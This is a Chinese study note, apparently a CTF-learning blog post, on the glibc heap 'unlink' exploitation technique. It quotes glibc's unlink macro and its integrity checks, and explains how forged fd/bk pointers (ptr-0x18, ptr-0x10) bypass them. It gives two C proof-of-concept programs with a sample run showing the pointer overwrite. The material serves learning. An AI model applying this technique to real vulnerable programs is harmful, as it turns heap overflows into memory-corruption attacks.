unlink 漏洞笔记

TOC

  1. 1. 前导知识
    1. 1.1. malloc_chunk 结构
      1. 1.1.1. 部分字段的具体的解释如下
    2. 1.2. 然我们先来看看源码:
    3. 1.3. glibc-2.27/malloc/malloc.c:1403
    4. 1.4. size检查
    5. 1.5. 双向链表完整性检查
    6. 1.6. 双向链表完整性检查
    7. 1.7. 核心部分
  2. 2. 利用思路
    1. 2.1. 条件
    2. 2.2. 效果
    3. 2.3. 思路
  3. 3. 代码举例
    1. 3.1. 一般情况下的unlink漏洞举例
      1. 3.1.1. 要点
      2. 3.1.2. 运行实例(环境:glibc-2.23)
  4. 4. 总结

资料来源:ctf-wiki

前导知识

malloc_chunk 结构

struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

部分字段的具体的解释如下

我们在利用 unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。

我们先来简单回顾一下 unlink 的目的与过程,其目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)。其基本的过程如下

unlink_smallbin_intro

然我们先来看看源码:

glibc-2.27/malloc/malloc.c:1403

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (chunksize_nomask (P)) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)"); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

由于glibc-2.23的源码没有size检查,但是发行的库中却有size检查,所有鄙人用glibc-2.27的源码。

size检查

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
malloc_printerr ("corrupted size vs. prev_size"); \

由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。

双向链表完整性检查

FD = P->fd;                      \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \

检查 fd 和 bk 指针。

双向链表完整性检查

  if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)"); \

这个平常不怎么用到,是对于 large bin 的检查。

核心部分

FD->bk = BK;                    \
BK->fd = FD; \

即通过此方式,P 的指针指向了比自己低 12 的地址处。此方法虽然不可以实现任意地址写,但是可以修改指向 chunk 的指针,这样的修改是可以达到一定的效果的。

利用思路

条件

  1. UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
  2. 已知位置存在一个指针指向可进行 UAF 的 chunk

效果

使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18

思路

设指向可 UAF chunk 的指针的地址为 ptr

  1. 修改 fd 为 ptr - 0x18
  2. 修改 bk 为 ptr - 0x10
  3. 触发 unlink

**ptr 处的指针会变为 ptr - 0x18**。

代码举例

原理就如下面的代码所示:

#include <stdio.h>
#include <stdlib.h>

// 机器字长,64位机器为8,32位机器为4
#define MACHINE_SIZE (sizeof(void *))

struct malloc_chunk
{
size_t prev_size; /* Size of previous chunk (if free). */
size_t size; /* Size in bytes, including overhead. */

struct malloc_chunk *fd; /* double links -- used only if free. */
struct malloc_chunk *bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk *bk_nextsize;
};

int main()
{
struct malloc_chunk *chunk1, *chunk2;
char *ptr1, *ptr2;

// 不要申请fastbin
ptr1 = malloc(0x80);
ptr2 = malloc(0x80);
chunk1 = ptr1 - 2 * MACHINE_SIZE;
chunk2 = ptr2 - 2 * MACHINE_SIZE;

free(ptr1);
chunk1->fd = ((char *)&chunk1) - 3 * MACHINE_SIZE;
chunk1->bk = ((char *)&chunk1) - 2 * MACHINE_SIZE;

fprintf(stderr, "Starting chunk1: %p ; &chunk1: %p\n", chunk1, &chunk1);
// 触发unlink
free(ptr2);

fprintf(stderr, "Then chunk1: %p ; &chunk1: %p\n", chunk1, &chunk1);
fprintf(stderr, "%p(&chunk1) - %p(chunk1) = %d\n", &chunk1, chunk1,
(char *)&chunk1 - (char *)chunk1);
return 0;
}

一般情况下的unlink漏洞举例

要点

  1. 修改下一个相邻chunk的prev_size,使其与构造的假chunk相对应。
  2. 修改下一个相邻chunk的prev_in_use位为未使用状态。

一般都是由heap overflow来实现上述操作的。

#include <stdio.h>
#include <stdlib.h>

// 机器字长,64位机器为8,32位机器为4
#define MACHINE_SIZE (sizeof(void *))

int main()
{
char *ptr1, *ptr2;

// 不要申请fastbin
ptr1 = malloc(0x80);
ptr2 = malloc(0x80);

// *(size_t *)ptr1 = 0;
// *(size_t *)(ptr1 + MACHINE_SIZE) = 0x80;
// fake_chunk->fd, ensures fake_chunk->fd->bk == fake_chunk
*(void **)(ptr1 + 2 * MACHINE_SIZE) = (char *)&ptr1 - 3 * MACHINE_SIZE;
// fake_chunk->bk, ensures fake_chunk->bk->fd == fake_chunk
*(void **)(ptr1 + 3 * MACHINE_SIZE) = (char *)&ptr1 - 2 * MACHINE_SIZE;

// 修改ptr2的chunk的prev_size ,使得其指向fake_chunk
*(size_t *)(ptr2 - 2 * MACHINE_SIZE) = (*(size_t *)(ptr1 - 1 * MACHINE_SIZE)
- 2 * MACHINE_SIZE) & (-8) ; // 去除低 3 bit的状态标记

// 修改ptr2的chunk的 prev_in_use 为未使用状态
*(size_t *)(ptr2 - MACHINE_SIZE) -= 1;

fprintf(stderr, "Starting ptr1: %p ; &ptr1: %p\n", ptr1, &ptr1);
// 触发unlink
free(ptr2);

fprintf(stderr, "Then ptr1: %p ; &ptr1: %p\n", ptr1, &ptr1);
fprintf(stderr, "%p(&ptr1) - %p(ptr1) = %ld\n", &ptr1, ptr1,
(char *)&ptr1 - (char *)ptr1);
return 0;
}

运行实例(环境:glibc-2.23)

ex@ubuntu:~/test$ gcc main.c -o main
ex@ubuntu:~/test$ ./main
Starting ptr1: 0x1020010 ; &ptr1: 0x7ffeb72fdb88
Then ptr1: 0x7ffeb72fdb70 ; &ptr1: 0x7ffeb72fdb88
0x7ffeb72fdb88(&ptr1) - 0x7ffeb72fdb70(ptr1) = 24
ex@ubuntu:~/test$

总结

unlink这种比较抽象的漏洞需要多多写几遍他的C语言漏洞实例以保持手感,要不然时间过久了,再次看到unlink的话就会变得很生疏。